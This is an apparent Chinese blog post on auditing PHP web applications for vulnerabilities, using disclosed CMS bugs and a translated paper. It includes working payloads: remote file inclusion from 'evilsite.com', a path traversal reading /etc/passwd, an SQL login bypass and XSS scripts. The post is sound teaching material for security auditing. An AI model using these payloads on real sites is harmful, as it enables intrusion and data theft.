PHP漏洞挖掘学习[bak]


之前在用shell脚本批量获取drops上的文章时有几篇是关于PHP漏洞挖掘的,然后再加上之前碰到的“高级PHP应用程序漏洞审核技术”整理之后放在下面(PS:以后还是直接读抓取来的HTML文件吧,对格式的整理真是要人命!):

最近研究PHP漏洞的挖掘,总结了一些我挖到的漏洞,整理了一下思路,求各路神人补充、批评、指导~

本文所有示例均来自我在乌云上已由厂商允许公开的漏洞

由于是实例的分析,基础知识请百度,就不全都粘贴到前面了

0x01: 搜索所有的用户可控变量(GET/POST/COOKIE/referer)
原因:所有用户输入都是有害的,代码审计注重函数和变量,先看看在什么地方会有输入

可能出现的场景:

a) id=$_GET[‘id’];
可能存在的问题:

无过滤的SQL注入:

WooYun: chshcms 程氏CMS V3.0 注射(已在官方演示站测试)

$id=trim($_GET["id"]);
//下面直接就进查询语句了
if($db->query("update ".Getdbname('dance')." set CS_TID=".$tid." where cs_user='".$cscms_name."' and

当然,这是GET之后没做过滤的情景

b) id=intval($_GET[‘id’]);
可能存在的问题:intval对字符型无用,字符型变量是怎么处理的呢?

如果字符型的addslashes,注意数字型盲注(见c2分析)

c) $tid=XX_Request(“tid”);
使用自己定义的安全过滤函数处理变量,很常见,很多框架都提供了解决方案,不过自己包装一个也是很常见的

可能存在的问题:

c1) 有没有忘记使用这个处理函数?
WooYun: chshcms 程氏CMS V3.0 注射(已在官方演示站测试)

$tid=CS_Request("tid"); //使用安全的CS_request addslash
$id=trim($_GET["id"]); //呵呵呵,曲项向天歌,CS_Request哭了
其实还是上面那个例子,自己忘了用这函数过滤了

c2) 函数本身是否安全?
WooYun: (新)程氏舞曲CMS 三步GETSHELL(实例演示+源码详析)

$t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName]));

使用了addslashes,这就意味着逃脱单引号难度加大,需要寻找没有单引号保护的语句注入

addslashes只处理单引号和斜杠,因此无法过滤形如 134 and 1=1 这样的注射语句,请自行百度无单引号盲注

在下面的语句中,$cscms_name就是有单引号保护的,而$id是没有单引号保护的

$db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");

所以id引发了盲注

c3) 过滤函数能否满足业务逻辑的特殊需求?
负数订单啦,自己修改自己的投票数啦,各种业务逻辑上的问题都有可能发生

非常可惜,这个我还没撞见过,如果以后撞见再更新到文章里

d) 不要忘记我们能控制referer等变量
可能存在的问题:

虽然发现GET/POST都过滤处理了,但是referer和cookie容易被忽视

$_SERVER[“HTTP_REFERER”] 例子:

WooYun: MacCMS 6.x referer处理不当引发注射

很遗憾,这个截至今日还未公开,等公开了大家再去看吧

$_COOKIE[‘xxx’] 例子:

WooYun: TCCMS全版本COOKIE注入(已演示证明)

$sql=”select password from “.$_Obj->table.” where id=”.$_COOKIE[‘userId’];

情况和GET时是一样的,不过注入时操作起来稍微麻烦些,SQLMAP教程我就不粘贴到这里了,不会COOKIE注射的请百度

e) 还有其他的输入变量,请各路高手带着实例补充!
目前,我们了解了程序总体上是如何处理用户输入的

0x02:单独搜索$_COOKIE,分析身份认证时的逻辑
原因:身份验证属于业务逻辑中“高危”的部分,大部分的高危漏洞都出在这里

可能出现的场景:

a) 没有cookie处理,直接全是session
那就等之后通读代码时直接去读认证算法好啦

b) 认证算法中强度太弱(用可控的COOKIE算来算去),降低了伪造身份的难度
WooYun: (新)程氏舞曲CMS 三步GETSHELL(实例演示+源码详析)

第二步伪造身份时

elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){

有什么意义呢?COOKIE我们能控制,当然之后程序有别的验证,这里只是举例,就这一句而言没有意义

实际上漏洞里这个CMS这个算法,后面只是在认证时没有用到安装时admin写死在config里的验证码而已,不过难度已经降下来了

c) 直接能绕过
如果情况b 没有其他验证了,那就绕过了

目前我们只是验证了登陆时的逻辑,之后还需分析权限的缜密程度

0x03:搜索所有的文件操作函数,分析其逻辑
原因:文件操作函数属于敏感函数,往往业务逻辑上的漏洞可能导致任意文件操作

可能出现的场景:

a) 任意文件下载
WooYun: appcms 最新版 1.3.708 任意文件下载

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
  $img_url = base64_decode($_GET['url']);
  $shffix = trim($_GET['type']);
  header("Content-Type: image/{$shffix}");
  readfile($img_url);
} else {
  die('image not find');
}
?>

PS:由于是业务逻辑上的问题,是没办法通过自动扫描发现的,而且针对SQL和HTML的过滤是起不到特大作用的

任意文件读取的最大作用是读config.php 和各种系统的敏感文件(如何爆物理目录?请看0x04)

b) 任意文件写入
WooYun: CSCMS V3.5 最新版 后台命令执行GETSHELL(源码详析)

发帖时仍未公开,所以先不做分析,等公开后更新~

任意文件写入的最大应用就是写马了,最大障碍是绕过过滤的HTML字符比如: <>,解决方式是大量应用base64

c) 任意文件删除
很遗憾,还没撞见过,要是撞见一个该多好

任意文件删除的作用可以是删除install.lock,然后重装CMS

d) 其他操作,求补充
文件操作可以结合爆目录

0x04:爆物理目录
原因:上一小节我们可能能够任意操作文件,但没拿到网站的物理目录地址,的确可以用黑盒不停地试图读取 c:boot.ini 和 /etc/passwd 之类的来试图判断,但是这么弄实在不可靠

怎么办:使用php vulnerability hunter 自动扫描就好了,这个确实可以偷懒用工具扫描,因为这个爆目录危害实在太低了,必须配合其他漏洞才有危害,所以一般CMS都会有这种漏洞,我是说能扫描出来的漏洞

WooYun: appcms 最新版 1.3.708 任意文件下载

如果你不知道物理路径,你可以试着用工具扫描一下,然后再读取

0x05:搜索eval,preg_replace什么的,看看有没有命令执行
原因:能直接执行PHP代码,也就是说可以写一句话木马了(file_put_contents),当然,要找可写目录

这地方我一直没能找到例子,没有亲自实践过,求各路高手带实例提供几个?

0x06:可以开始通读代码了,从index开始,注意的是数据的传输和输出函数
原因:常见模式化的漏洞都不存在的话,就要分析整个系统了,因此需要完全而彻底地去做审计,这样比继续单独搜索变量然后跟踪更加省力一些

可能出现的场景:

a) 之前的过滤全白费了
WooYun: YXcms1.2.0版本 存储式XSS(实站演示+源码分析)

没公开,等公开再更新文章,这是一个存储式xss

b) 二次注入
由于二次开发中从数据库里取出的值没有过滤,导致注射,由于没有直接从用户输入中获得,所以之前步骤很难发现

哎呀,求各路高手提供个示例呀,我这个自己也没有碰到过丫

c) 平行权限、任意投票、越权访问 等等 等等 一大堆
0x07 总结
目前我就知道这么些,希望能对刚接触PHP代码审计漏洞挖掘的新手有点帮助,由于我也是刚开始学习PHP漏洞挖掘不久,希望大家能广泛提供学习的建议以及思路,也请批评指正文章中不妥之处,更希望高手们能带着示例来指导。

+++++++++++++++++++++++++++++++++++++++++

0x00 背景
感谢各位的评论与讨论,经过研讨的地方在文章中标出。

先翻译整理一篇英文paper,后面再填上自己新发现的例子,先思路再实例 O(∩_∩)O

补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞,漏洞归属原作者并均在文章内标明)

(感谢瞌睡龙指导:注意各种漏洞的前提配置环境,先列出来,之后详细说)

在文章中的测试条件下,我们的配置默认是这样子的:

safe_mode = off (避免各种奇奇怪怪的失败)
disabled_functions = N/A ( 可以使用全部函数,免得莫名其妙的不能用 )
register_globals = on ( 注册全局变量 )
allow_url_include = on ( 文件包含时的限制,如果关了就不能远程 )
allow_url_fopen = on ( 文件打开的限制,还是开着吧 )
magic_quotes_gpc = off ( 转义引号和划线和空字符,比如” 变成“ )
short_tag_open = on ( 部分脚本会用到 )
file_uploads = on ( 任意文件上传需要……允许上传文件 )
display_errors = on ( 自己测试时方便,找错误 )

0x01 任意文件包含
前提:允许url_include,否则就需要上传到绝对路径

提示:可以使用空字节(截断)的技巧,和“?”问号的使用技巧

php中有四个函数与文件包含有关:

    • require
    • require_once 只包含一次
    • include
    • include_once 只包含一次

如以下例子:
<?php
$pagina=$_GET[‘pagina’];
include $pagina.’logged=1′;
?>

使用空字节的例子
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
这样可以去掉末尾的.php后缀

再如以下例子
<?php
$pagina=$_GET[‘pagina’];
include $pagina.’logged=1′;
?>
使用“?”问号的例子

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
这样可以把后面的一大坨东西弄没

如何修复:

allow_url_include = on
allow_url_fopen = on
简单来说:不要允许特殊字符出现,过滤“/”,或者过滤http,https,ftp和SMB

好吧,来举一个乌云上Frears的例子

WooYun: ecmall本地文件包含

//只判断是app是否设置,然后去掉了两端空格
$app = isset($_REQUEST[‘app’]) ? trim($_REQUEST[‘app’]) : $default_app;
$act = isset($_REQUEST[‘act’]) ? trim($_REQUEST[‘act’]) : $default_act;

//很明显可以看出$app是我们可以控制的、由于后面连接了.app.php所以利用的时候要截断。
$app_file = $config[‘app_root’] . “/{$app}.app.php”;

//应为是本地包函、所以is_file是为真的
if (!is_file($app_file))
{
exit(‘Missing controller’);
}

//这里直接就包函了,这么低级的漏洞、我都不好说什么了.
require($app_file);
还有一些特殊的思路,比如Joker的构造

WooYun: 济南大学主站本地文件包含导致代码执行

自己去看吧,我还以为只有教科书里边才可能出现……

挖掘的可能方法:全局搜索四个函数,先只管出现在文件中间的require等前后文是否有严格的验证,之后在通读时注意文件前部的include

0x02 本地文件包含
提示:在windows系统下面我们可以用 “..” 来代替 “../” 即 “..%5C” ( url编码后 ).

如下例:
<?php
$pagina=$_GET[‘pagina’];
include ‘/pages/’.$pagina;
?>
利用的例子:

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
空字节截断和问号的技巧通用

其实和上面的差不多,只不过是用到了跨目录

修复方式:过滤点和斜杠

0x03 任意文件下载
前提:url_fopen为on时才能打开远程文件,但一般意义上的任意文件下载不是“远程“的

相比上一篇文章补充:

file_get_contents 读取整个文件到字符串中
readfile 显示整个文件
file 读进数组
fopen 打开文件或URL
highlight_file 高亮显示源码
show_source 显示源代码
例子同上一篇文章

0x04 SQL注入
前提:magic_quotes_gpc = off 当然指的是字符型的注射,如果是数字型就仍然可以盲注

补充登陆绕过的情况:
$postbruger = $_POST[‘username’];
$postpass = md5($_POST[‘password’]);
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘$postbruger’ AND password = ‘$postpass’”)
or die(“<p>” . mysql_error() . “</p>n”);
这时利用时会方便很多

username : admin ‘ or ‘ 1=1
password : sirgod
挖掘方法:在登陆逻辑处发现注射,不急着跑表,可以考虑绕过登陆

0x05 命令执行
参考《高级PHP应用程序漏洞审核技术》(Ph4nt0m Security Team),小伙伴们都去百度一下吧

(以下节选一小部分有关命令执行的内容)

5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可 以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:
<?php
//how to exp this code
$sort_by=$_GET[“sort_by”];
$sorter=”strnatcasecmp”;
$databases=array(“test”,”test”);
$sort_function = ” return 1 * ” . $sorter . “($a[“” . $sort_by . “”], $b[“” . $sort_by . “”]);
“;
usort($databases, create_function(“$a, $b”, $sort_function));
漏洞审计策略

PHP版本要求:无 系统要求:无 审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)

5.4.2 变量函数与双引号
对于单引号和双引号的区别,很多程序员深有体会,示例代码:
echo “$an”;
echo “$an”;
我们再看如下代码:
//how to exp this code
if($globals[“bbc_email”]){
$text = preg_replace(
array(“/[email=(.*?)](.*?)[/email]/ies”,
“/[email](.*?)[/email]/ies”),
array(“check_email(“$1”, “$2″)”,
“check_email(“$1”, “$1″)”), $text);
另外很多的应用程序都把变量用””存放在缓存文件或者config或者data文件里,这样很 容易被人注射变量函数。

漏洞审计策略

PHP版本要求:无 系统要求:无 审计策略:通读代码

0x06 跨站脚本漏洞XSS

<?php
$name=$_GET['name'];
print $name;
?>

http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>

<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>

http://127.0.0.1/test.php?name=”><script>alert(String.fromCharCode(88,83,83))</script>
fromCharCode用来绕过addslashes

挖掘方法:关注负责输出的代码,牢记之前程序处理变量的一般逻辑(过滤html标签的力度?)

0x07 变量覆盖
前提:需要register_gloabals = on

<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>

http://127.0.0.1/test.php?logged=1
免认证即登陆

0x08 admin节点可被越权访问
http://127.0.0.1/admin/files.php

http://127.0.0.1/admin/db_lookup.php

若是无身份验证直接就能访问,可能存在此漏洞

挖掘方法:先开register_gloabals = on ,然后留意第一次出现的变量

0x09 跨站点请求伪造CSRF
前提:没有token 一般结合XSS来做

<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>

http://127.0.0.1/test.php?news=1
会导致文件删除,当然,需要过check_auth,不过在CSRF下不是问题

if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'")
or die(mysql_error());

关键是在于操作没有任何类型的确认,只要提交请求即可见效

http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4

如何修补:token
<?php
check_auth();
if(isset($_GET[‘news’]) && $token=$_SESSION[‘token’])
{ unlink(‘files/news’.$news.’.txt’); }
else {
die(‘Error.’); }
?>
这样就不能伪造啦

http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
挖掘方法:敏感功能如 “添加管理员” “修改密码” “直接把shell地址给到别人邮箱里”观察是否有token验证或者其他形式的验证

0x10 参考文献
部分内容参考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod Email : [email protected]

lxj616@wooyun 引用处进行了翻译

以下是最新自己发现的例子

0x11 CSCMS V3.5 最新版 SQL注射(官方站演示+源码详析)
WooYun: CSCMS V3.5 最新版 SQL注射(官方站演示+源码详析)

PS:CSCMS真是好教材……

感谢 @五道口杀气 在上一篇的回复:

MVC的代码看一下框架本身实现有没有问题,然后去看model就行了,model有多强,决定了有多大的空间,而变量的过滤在controller里调用时应该几乎是差不多的,所以这类代码从index.php开始读可能也不是太有必要
经过仔细的琢磨,我有了更深的体会,比如本次漏洞中,CSCMS重构了代码,使用了MVC架构,果然是model的xss_clean被误用(或者说model根本没有防范注射的功能),导致controller里面射成一片,因此可以说我之前的“从index.php开始“很不恰当,应当视情况而定

感谢 @erevus 在上一篇的回复:

我说说的我经验 挖SQL注入,全局搜索select,insert,updata这几个关键字 然后找到SQL语句 向上跟 跟到传入变量的地方 看看中途有没有过滤 挖任意代码执行,全局搜索各种可以执行命令的函数,然后也是一个个看 向上跟.(一直没挖到…) 挖XSS…直接黑盒挖,看看有没有过滤 过滤了的话就去看过滤的代码是怎样 然后看看能不能绕…感觉如果是框架的话,只搜索SELECT关键字可能会有遗漏,因为有很多都是比如:

$member->where ( “username =’” . $username . “‘” )->save ( $arr_i ); // 更新状态
这样的框架很容易遗漏重要拼接

PS:强烈同意erevus的XSS的挖掘方法,因为能力和精力都很有限……

0x12 MacCMS 全版本通杀SQL注射(包括最新7.x)
WooYun: MacCMS 全版本通杀SQL注射(包括最新7.x)

也是重构了代码,加入了360的防护脚本,其实在我发上一个漏洞(6.x)时这个7.x刚好发布,我稍微看了一眼,发现有360防护脚本后就不看了,以为他们肯定全都过滤掉了,直到…… 比较有趣的是他们根本没有在referer上使用360的获取方式,而是直接return $_SERVER[“HTTP_REFERER”]; 了 因此提醒大家,代码审计就是要仔细,就是要有超人般的耐心,不要想当然。

0x13 WanCMS 可修改任意用户密码(源码详析+实例演示)
WooYun: WanCMS 可修改任意用户密码(源码详析+实例演示)

我终于又发现了一个敏感业务逻辑上的漏洞

唠叨两句密码学……

MD5、SHA 是哈希函数,知道$a后容易知道md5($a),而知道md5($a)难以恢复$a Des 是对称密码,加解密使用同一个密钥
$reurl = $config [‘DOMAIN’] . ‘/accounts/forget_password_t?vc=’ . md5 ( md5 ( $username ) );
这里的密码重置链接 使用的是MD5(两遍),但是用户名我们是知道的,因此直接就能伪造,这也说明了md5并不是用来加密的,应该用DES或者……更常见的方法是MD5中的用户名再加入密码和随机数,或者干脆随机一串字符好了。

0x14 WanCMS 多处SQL注射(源码详析+实站演示)
WooYun: WanCMS 多处SQL注射(源码详析+实站演示)

又是一个框架中注射的例子
$u_info = $member->where ( “username =’” . $username . “‘” )->find ();
之前username没有过滤,虽然看着和带着SELECT的完整SQL语句有区别,但是效果是一样的

0x15 CSCMS V3.5 最新补丁后 又一个SQL注射(源码详析)
WooYun: CSCMS V3.5 最新补丁后 又一个SQL注射(源码详析)

这个就是一个厂商漏补的addslash+无引号 盲注 但是比较有新意的是,他们好像有一阵是用的magic_quotes_gpc来处理的,只是给数字补上了好多的引号,而且还漏了几个……

0x16 TCCMS (最新)8.0 后台GETSHELL (源码详析)

WooYun: TCCMS (最新)8.0 后台GETSHELL (源码详析)

任意文件上传,前提是upload为ON
$fullPath = $path . “/” . $_POST[“name”];
居然直接从POST里面取。

一般情况下应该是uuid随机数名称,或者至少去不可见字符强加后缀。

直接从POST中取值的下场就是任意文件上传。

0x17 iSiteCMS发布安全补丁后仍然有几处注射漏洞(源码详析+实站演示)
WooYun: iSiteCMS发布安全补丁后仍然有几处注射漏洞(源码详析+实站演示)

这个注射有一个特别之处,就是过滤了逗号(,),因此跑表时非常不顺利,需要想其他的方法来验证危害
$tos = explode(‘,’,trim($arr[‘to’]));
没错,这一句干掉了逗号

解决方案:不跑表了,试着构造错误回显(因为常规那页面是没有回显的)直接爆管理员密码

思路总结:变量到达第一个注射语句没有逗号无法突破无法回显,坚持继续读,程序能继续运行,然后发现下面还有一句也会被注射到,然后注射到的结果又拼接到另一个SQL语句中,而报错又是开启状态,因此构造一下在SQL报错的地方回显出密码

0x18 CSCMS V3.5 最新版 后台命令执行GETSHELL(源码详析)
WooYun: CSCMS V3.5 最新版 后台命令执行GETSHELL(源码详析)

感谢@insight-labs的回复: 框架会有很多很隐蔽的洞,现在还不太清楚怎么具体挖掘。比如双引号导致的代码执行。

千奇百怪的洞 的确很头疼 我这个漏洞本是想仿造《Dede后台getshell[过20130715]》原作者不详 结果……不大一样 不过思路是:后台总会有保存设置的地方,而保存设置的地方往往是写config.php保存设置(因为php扩展名可以防止被随意下载ETC)而这样的话如果保存设置时过滤不足,就有可能导致任意文件写入,而且又是php文件,动不动就会来个代码执行 :)

不过感觉隐蔽的漏洞还是很费脑力的,一般的思考发现不了。

 

参考链接:

PHP漏洞挖掘思路+实例

PHP漏洞挖掘思路+实例 第二章

高级PHP应用程序漏洞审核技术


《 “PHP漏洞挖掘学习[bak]” 》 有 4 条评论

  1. 水文:对漏洞挖掘的一点看法
    https://weibo.com/ttarticle/p/show?id=2309404174670051067824
    `
    漏洞挖掘是没有办法保证结果的:没有人敢说随便给他一个程序,他就可以从中找到漏洞。也有人说漏洞挖掘靠运气,我理解的运气是指:漏洞是由开发人员生产的,漏洞挖掘人员只是去发现开发人员生产的漏洞,对漏洞挖掘人员来说,审计的模块中是否存在漏洞是未知的。

    既没法保证结果,又存在运气成分,难道漏洞挖掘是玄学不成?我认为不是。我们没法保证结果,但是我们可以保证过程。何为保证过程?保证过程是指我们可以在领域内总结出一套流程,总结出一些需要关注的、常规的审计点。流程与审计点代表的是我们团队的经验与当前水平,如果严格执行了流程与审计点后,还是没法在目标中找到漏洞,那说明以我们团队目前的水平就是无法在目标中找到漏洞。如何对待运气?我认为有两个方法,一是凭借审计人员的经验,以及对系统功能的整体了解,他可以“感觉到”系统的薄弱点在哪里,然后去寻找漏洞。另一个是强调覆盖面,我们既然无法确定哪个模块存在漏洞,那我们就一个模块一个模块的去做覆盖。
    `

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注